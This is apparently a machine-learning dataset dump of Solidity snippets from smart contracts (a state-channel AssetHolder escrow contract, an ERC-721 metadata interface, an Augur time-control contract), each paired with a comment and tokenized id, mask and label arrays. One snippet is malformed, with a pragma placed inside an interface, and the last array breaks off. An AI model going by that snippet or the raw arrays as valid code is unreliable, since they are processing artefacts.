[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 262, 1071, 8843, 429, 5024, 3849, 288, 203, 3639, 389, 5771, 9762, 24899, 24454, 16, 389, 16172, 16, 389, 7095, 16, 389, 8694, 2173, 1345, 16, 389, 5965, 1098, 20439, 16, 389, 892, 1769, 203, 203, 3639, 1731, 1578, 2695, 3418, 548, 273, 2269, 548, 31, 203, 203, 203, 3639, 261, 6430, 923, 8478, 15609, 20439, 16, 262, 273, 3929, 9762, 8478, 15609, 20439, 24899, 7285, 3332, 12021, 9334, 389, 16172, 16, 389, 5965, 1098, 20439, 1769, 203, 203, 3639, 1426, 358, 8097, 2747, 12035, 2173, 3342, 273, 389, 5965, 1098, 20439, 18, 1896, 12035, 382, 7009, 1098, 422, 374, 747, 203, 5411, 7516, 3418, 18, 6592, 15609, 2375, 422, 1731, 1578, 12, 20, 1769, 203, 203, 3639, 3929, 9762, 24899, 7285, 3332, 12021, 9334, 389, 16172, 16, 389, 7095, 16, 389, 8694, 2173, 1345, 16, 358, 8097, 2747, 12035, 2173, 3342, 1769, 203, 203, 3639, 309, 261, 877, 8478, 15609, 20439, 597, 389, 5965, 1098, 20439, 18, 1896, 12035, 382, 7009, 1098, 405, 374, 13, 288, 203, 5411, 1399, 7009, 1098, 17292, 63, 3535, 3418, 548, 8009, 542, 12, 11890, 5034, 12, 11890, 16874, 24899, 7285, 3332, 12021, 1435, 3719, 1769, 203, 203, 3639, 1142, 9762, 4921, 63, 3535, 3418, 548, 6362, 67, 7285, 3332, 12021, 1435, 65, 273, 1203, 18, 5508, 31, 203, 203, 203, 203, 3639, 3626, 13899, 9762, 329, 24899, 7285, 3332, 12021, 9334, 389, 24454, 16, 787, 1345, 548, 16, 389, 16172, 1769, 203, 203, 3639, 389, 5205, 9762, 24899, 24454, 16, 389, 16172, 16, 389, 7095, 16, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.7.4; pragma experimental ABIEncoderV2; import './Outcome.sol'; import '@openzeppelin/contracts/math/SafeMath.sol'; import './interfaces/IAssetHolder.sol'; /** * @dev An implementation of the IAssetHolder interface. The AssetHolder contract escrows ETH or tokens against state channels. It allows assets to be internally accounted for, and ultimately prepared for transfer from one channel to other channel and/or external destinations, as well as for guarantees to be claimed. Note there is no deposit function and the _transferAsset function is unimplemented; inheriting contracts should implement these functions in a manner appropriate to the asset type (e.g. ETH or ERC20 tokens). */ contract AssetHolder is IAssetHolder { using SafeMath for uint256; address public AdjudicatorAddress; mapping(bytes32 => uint256) public holdings; mapping(bytes32 => bytes32) public assetOutcomeHashes; // ************** // External methods // ************** /** * @notice Transfers as many funds escrowed against `channelId` as can be afforded for a specific destination. Assumes no repeated entries. * @dev Transfers as many funds escrowed against `channelId` as can be afforded for a specific destination. Assumes no repeated entries. * @param fromChannelId Unique identifier for state channel to transfer funds *from*. * @param allocationBytes The abi.encode of AssetOutcome.Allocation * @param indices Array with each entry denoting the index of a destination to transfer funds to. An empty array indicates "all". */ function transfer( bytes32 fromChannelId, bytes calldata allocationBytes, uint256[] memory indices ) external override { // checks _requireIncreasingIndices(indices); _requireCorrectAllocationHash(fromChannelId, allocationBytes); // effects and interactions _transfer(fromChannelId, allocationBytes, indices); } /** * @notice Transfers as many funds escrowed against `guarantorChannelId` as can be afforded for a specific destination in the beneficiaries of the __target__ of that channel. Checks against the storage in this contract. * @dev Transfers as many funds escrowed against `guarantorChannelId` as can be afforded for a specific destination in the beneficiaries of the __target__ of that channel. Checks against the storage in this contract. * @param guarantorChannelId Unique identifier for a guarantor state channel. * @param guaranteeBytes The abi.encode of Outcome.Guarantee * @param allocationBytes The abi.encode of AssetOutcome.Allocation for the __target__ * @param indices Array with each entry denoting the index of a destination (in the target channel) to transfer funds to. Should be in increasing order. An empty array indicates "all". */ function claim( bytes32 guarantorChannelId, bytes calldata guaranteeBytes, bytes calldata allocationBytes, uint256[] memory indices ) external override { // checks _requireIncreasingIndices(indices); _requireCorrectGuaranteeHash(guarantorChannelId, guaranteeBytes); Outcome.Guarantee memory guarantee = abi.decode(guaranteeBytes, (Outcome.Guarantee)); _requireCorrectAllocationHash(guarantee.targetChannelId, allocationBytes); // effects and interactions _claim(guarantorChannelId, guarantee, allocationBytes, indices); } // ************** // Permissioned methods // ************** modifier AdjudicatorOnly { require(msg.sender == AdjudicatorAddress, 'Only NitroAdjudicator authorized'); _; } /** * @notice Transfers the funds escrowed against `channelId` to the beneficiaries of that channel. No checks performed against storage in this contract. Permissioned. * @dev Transfers the funds escrowed against `channelId` and transfers them to the beneficiaries of that channel. No checks performed against storage in this contract. Permissioned. * @param channelId Unique identifier for a state channel. * @param allocationBytes The abi.encode of AssetOutcome.Allocation */ function transferAllAdjudicatorOnly(bytes32 channelId, bytes calldata allocationBytes) external virtual AdjudicatorOnly { // no checks // // effects and interactions _transfer(channelId, allocationBytes, new uint256[](0)); } /** * @notice Sets the given assetOutcomeHash for the given channelId in the assetOutcomeHashes storage mapping. * @dev Sets the given assetOutcomeHash for the given channelId in the assetOutcomeHashes storage mapping. * @param channelId Unique identifier for a state channel. * @param assetOutcomeHash The keccak256 of the abi.encode of the Outcome. */ function setAssetOutcomeHash(bytes32 channelId, bytes32 assetOutcomeHash) external AdjudicatorOnly { _setAssetOutcomeHash(channelId, assetOutcomeHash); } // ************** // Internal methods // ************** function _computeNewAllocationWithGuarantee( uint256 initialHoldings, Outcome.AllocationItem[] memory allocation, uint256[] memory indices, Outcome.Guarantee memory guarantee // TODO this could just accept guarantee.destinations ? ) public pure returns ( Outcome.AllocationItem[] memory newAllocation, bool safeToDelete, uint256[] memory payouts, uint256 totalPayouts ) { // `indices == []` means "pay out to all" // Note: by initializing payouts to be an array of fixed length, its entries are initialized to be `0` payouts = new uint256[](indices.length > 0 ? indices.length : allocation.length); totalPayouts = 0; newAllocation = new Outcome.AllocationItem[](allocation.length); safeToDelete = true; // switched to false if there is an item remaining with amount > 0 uint256 surplus = initialHoldings; // tracks funds available during calculation uint256 k = 0; // indexes the `indices` array // copy allocation for (uint256 i = 0; i < allocation.length; i++) { newAllocation[i].destination = allocation[i].destination; newAllocation[i].amount = allocation[i].amount; } // for each guarantee destination for (uint256 j = 0; j < guarantee.destinations.length; j++) { if (surplus == 0) break; for (uint256 i = 0; i < newAllocation.length; i++) { if (surplus == 0) break; // search for it in the allocation if (guarantee.destinations[j] == newAllocation[i].destination) { // if we find it, compute new amount uint256 affordsForDestination = min(allocation[i].amount, surplus); // decrease surplus by the current amount regardless of hitting a specified index surplus -= affordsForDestination; if ((indices.length == 0) || ((k < indices.length) && (indices[k] == i))) { // only if specified in supplied indices, or we if we are doing "all" // reduce the new allocationItem.amount newAllocation[i].amount -= affordsForDestination; // increase the relevant payout payouts[k] += affordsForDestination; totalPayouts += affordsForDestination; // move on to the next supplied index ++k; } break; // start again with the next guarantee destination } } } for (uint256 i = 0; i < allocation.length; i++) { if (newAllocation[i].amount != 0) { safeToDelete = false; break; } } } function _computeNewAllocation( uint256 initialHoldings, Outcome.AllocationItem[] memory allocation, uint256[] memory indices ) public pure returns ( Outcome.AllocationItem[] memory newAllocation, bool safeToDelete, uint256[] memory payouts, uint256 totalPayouts ) { // `indices == []` means "pay out to all" // Note: by initializing payouts to be an array of fixed length, its entries are initialized to be `0` payouts = new uint256[](indices.length > 0 ? indices.length : allocation.length); totalPayouts = 0; newAllocation = new Outcome.AllocationItem[](allocation.length); safeToDelete = true; // switched to false if there is an item remaining with amount > 0 uint256 surplus = initialHoldings; // tracks funds available during calculation uint256 k = 0; // indexes the `indices` array // loop over allocations and decrease surplus for (uint256 i = 0; i < allocation.length; i++) { // copy destination part newAllocation[i].destination = allocation[i].destination; // compute new amount part uint256 affordsForDestination = min(allocation[i].amount, surplus); if ((indices.length == 0) || ((k < indices.length) && (indices[k] == i))) { // found a match // reduce the current allocationItem.amount newAllocation[i].amount = allocation[i].amount - affordsForDestination; // increase the relevant payout payouts[k] = affordsForDestination; totalPayouts += affordsForDestination; // move on to the next supplied index ++k; } else { newAllocation[i].amount = allocation[i].amount; } if (newAllocation[i].amount != 0) safeToDelete = false; // decrease surplus by the current amount if possible, else surplus goes to zero surplus -= affordsForDestination; } } /** * @notice Transfers as many funds escrowed against `channelId` as can be afforded for a specific destination. Assumes no repeated entries. Does not check allocationBytes against on chain storage. * @dev Transfers as many funds escrowed against `channelId` as can be afforded for a specific destination. Assumes no repeated entries. Does not check allocationBytes against on chain storage. * @param fromChannelId Unique identifier for state channel to transfer funds *from*. * @param allocationBytes The abi.encode of AssetOutcome.Allocation * @param indices Array with each entry denoting the index of a destination to transfer funds to. Should be in increasing order. An empty array indicates "all". */ function _transfer( bytes32 fromChannelId, bytes memory allocationBytes, uint256[] memory indices ) internal { Outcome.AllocationItem[] memory allocation = abi.decode( allocationBytes, (Outcome.AllocationItem[]) ); uint256 initialHoldings = holdings[fromChannelId]; ( Outcome.AllocationItem[] memory newAllocation, bool safeToDelete, uint256[] memory payouts, uint256 totalPayouts ) = _computeNewAllocation(initialHoldings, allocation, indices); // ******* // EFFECTS // ******* holdings[fromChannelId] = initialHoldings.sub(totalPayouts); // expect gas rebate if this is set to 0 if (safeToDelete) { delete assetOutcomeHashes[fromChannelId]; } else { assetOutcomeHashes[fromChannelId] = keccak256( abi.encode( Outcome.AssetOutcome( uint8(Outcome.AssetOutcomeType.Allocation), abi.encode(newAllocation) ) ) ); } // ******* // INTERACTIONS // ******* for (uint256 j = 0; j < payouts.length; j++) { if (payouts[j] > 0) { bytes32 destination = allocation[indices.length > 0 ? indices[j] : j].destination; // storage updated BEFORE external contracts called (prevent reentrancy attacks) if (_isExternalDestination(destination)) { _transferAsset(_bytes32ToAddress(destination), payouts[j]); } else { holdings[destination] += payouts[j]; } } } emit AllocationUpdated(fromChannelId, initialHoldings); } /** * @notice Transfers as many funds escrowed against `guarantorChannelId` as can be afforded for a specific destination in the beneficiaries of the __target__ of that channel. Does not check allocationBytes or guarantee against on chain storage. * @dev Transfers as many funds escrowed against `guarantorChannelId` as can be afforded for a specific destination in the beneficiaries of the __target__ of that channel. Does not check allocationBytes or guarantee against on chain storage. * @param guarantorChannelId Unique identifier for a guarantor state channel. * @param guarantee The guarantee * @param allocationBytes The abi.encode of AssetOutcome.Allocation for the __target__ * @param indices Array with each entry denoting the index of a destination (in the target channel) to transfer funds to. An empty array indicates "all". */ function _claim( bytes32 guarantorChannelId, Outcome.Guarantee memory guarantee, bytes memory allocationBytes, uint256[] memory indices ) internal { Outcome.AllocationItem[] memory allocation = abi.decode( allocationBytes, (Outcome.AllocationItem[]) ); uint256 initialHoldings = holdings[guarantorChannelId]; ( Outcome.AllocationItem[] memory newAllocation, bool safeToDelete, uint256[] memory payouts, uint256 totalPayouts ) = _computeNewAllocationWithGuarantee(initialHoldings, allocation, indices, guarantee); // ******* // EFFECTS // ******* holdings[guarantorChannelId] = initialHoldings.sub(totalPayouts); // expect gas rebate if this is set to 0 if (safeToDelete) { delete assetOutcomeHashes[guarantorChannelId]; delete assetOutcomeHashes[guarantee.targetChannelId]; } else { assetOutcomeHashes[guarantee.targetChannelId] = keccak256( abi.encode( Outcome.AssetOutcome( uint8(Outcome.AssetOutcomeType.Allocation), abi.encode(newAllocation) ) ) ); } // ******* // INTERACTIONS // ******* for (uint256 j = 0; j < payouts.length; j++) { if (payouts[j] > 0) { bytes32 destination = allocation[indices.length > 0 ? indices[j] : j].destination; // storage updated BEFORE external contracts called (prevent reentrancy attacks) if (_isExternalDestination(destination)) { _transferAsset(_bytes32ToAddress(destination), payouts[j]); } else { holdings[destination] += payouts[j]; } } } emit AllocationUpdated(guarantorChannelId, initialHoldings); } /** * @notice Sets the given assetOutcomeHash for the given channelId in the assetOutcomeHashes storage mapping * @dev Sets the given assetOutcomeHash for the given channelId in the assetOutcomeHashes storage mapping * @param channelId Unique identifier for a state channel. * @param assetOutcomeHash The keccak256 of the abi.encode of the Outcome. */ function _setAssetOutcomeHash(bytes32 channelId, bytes32 assetOutcomeHash) internal { require(assetOutcomeHashes[channelId] == bytes32(0), 'Outcome hash already exists'); assetOutcomeHashes[channelId] = assetOutcomeHash; } /** * @notice Transfers the given amount of this AssetHolders's asset type to a supplied ethereum address. * @dev Transfers the given amount of this AssetHolders's asset type to a supplied ethereum address. * @param destination ethereum address to be credited. * @param amount Quantity of assets to be transferred. */ function _transferAsset(address payable destination, uint256 amount) internal virtual {} // solhint-disable-line no-empty-blocks /** * @notice Checks if a given destination is external (and can therefore have assets transferred to it) or not. * @dev Checks if a given destination is external (and can therefore have assets transferred to it) or not. * @param destination Destination to be checked. * @return True if the destination is external, false otherwise. */ function _isExternalDestination(bytes32 destination) internal pure returns (bool) { return uint96(bytes12(destination)) == 0; } /** * @notice Converts an ethereum address to a nitro external destination. * @dev Converts an ethereum address to a nitro external destination. * @param participant The address to be converted. * @return The input address left-padded with zeros. */ function _addressToBytes32(address participant) internal pure returns (bytes32) { return bytes32(uint256(participant)); } /** * @notice Converts a nitro destination to an ethereum address. * @dev Converts a nitro destination to an ethereum address. * @param destination The destination to be converted. * @return The rightmost 160 bits of the input string. */ function _bytes32ToAddress(bytes32 destination) internal pure returns (address payable) { return address(uint160(uint256(destination))); } // ************** // Requirers // ************** function _requireCorrectAllocationHash(bytes32 channelId, bytes memory allocationBytes) internal view { require( assetOutcomeHashes[channelId] == keccak256( abi.encode( Outcome.AssetOutcome( uint8(Outcome.AssetOutcomeType.Allocation), allocationBytes ) ) ), 'h(allocation)!=assetOutcomeHash' ); } function _requireCorrectGuaranteeHash(bytes32 guarantorChannelId, bytes memory guaranteeBytes) internal view { require( assetOutcomeHashes[guarantorChannelId] == keccak256( abi.encode( Outcome.AssetOutcome( uint8(Outcome.AssetOutcomeType.Guarantee), guaranteeBytes ) ) ), 'h(guarantee)!=assetOutcomeHash' ); } function _requireIncreasingIndices(uint256[] memory indices) internal pure { for (uint256 i = 0; i + 1 < indices.length; i++) { require(indices[i] < indices[i + 1], 'Indices must be sorted'); } } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? b : a; } }
solhint-disable-line no-empty-blocks
function _transferAsset(address payable destination, uint256 amount) internal virtual {}
6,459,961
[ 1, 18281, 11317, 17, 8394, 17, 1369, 1158, 17, 5531, 17, 7996, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 6672, 12, 2867, 8843, 429, 2929, 16, 2254, 5034, 3844, 13, 2713, 5024, 2618, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x80c7A58F06B8b39f9d9580efF73394F99D063E49/sources/HungryHamsters.sol
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension/
interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); pragma solidity >=0.8.0; }
12,338,589
[ 1, 654, 39, 17, 27, 5340, 3858, 17, 42, 20651, 1523, 3155, 8263, 16, 3129, 1982, 2710, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 654, 39, 27, 5340, 2277, 353, 467, 654, 39, 27, 5340, 288, 203, 565, 445, 508, 1435, 3903, 1476, 1135, 261, 1080, 3778, 1769, 203, 203, 565, 445, 3273, 1435, 3903, 1476, 1135, 261, 1080, 3778, 1769, 203, 203, 565, 445, 1147, 3098, 12, 11890, 5034, 1147, 548, 13, 3903, 1476, 1135, 261, 1080, 3778, 1769, 203, 683, 9454, 18035, 560, 1545, 20, 18, 28, 18, 20, 31, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xf607014406bc3Fa7aAB224a85A0318b4556e9C28/sources/browser/EditionIndexerV1.sol
The address of the index, the only address allowed to interact with the publishing functions
address internal index;
3,152,127
[ 1, 1986, 1758, 434, 326, 770, 16, 326, 1338, 1758, 2935, 358, 16592, 598, 326, 23636, 4186, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1758, 2713, 770, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; import 'ITime.sol'; import 'libraries/ContractExists.sol'; import 'libraries/Ownable.sol'; import 'Controller.sol'; contract TimeControlled is ITime, Ownable { using ContractExists for address; uint256 private timestamp = 1; address private constant FOUNDATION_REP_ADDRESS = address(0x1985365e9f78359a9B6AD760e32412f4a445E862); constructor() public { // This is to confirm we are not on foundation network require(!FOUNDATION_REP_ADDRESS.exists()); timestamp = block.timestamp; } function getTimestamp() external view returns (uint256) { return timestamp; } function incrementTimestamp(uint256 _amount) external onlyOwner returns (bool) { timestamp += _amount; controller.getAugur().logTimestampSet(timestamp); return true; } function setTimestamp(uint256 _timestamp) external onlyOwner returns (bool) { timestamp = _timestamp; controller.getAugur().logTimestampSet(timestamp); return true; } function getTypeName() public view returns (bytes32) { return "TimeControlled"; } function onTransferOwnership(address, address) internal returns (bool) { return true; } }
This is to confirm we are not on foundation network
constructor() public { require(!FOUNDATION_REP_ADDRESS.exists()); timestamp = block.timestamp; }
6,456,636
[ 1, 2503, 353, 358, 6932, 732, 854, 486, 603, 1392, 367, 2483, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 1071, 288, 203, 3639, 2583, 12, 5, 9294, 2689, 67, 28879, 67, 15140, 18, 1808, 10663, 203, 3639, 2858, 273, 1203, 18, 5508, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 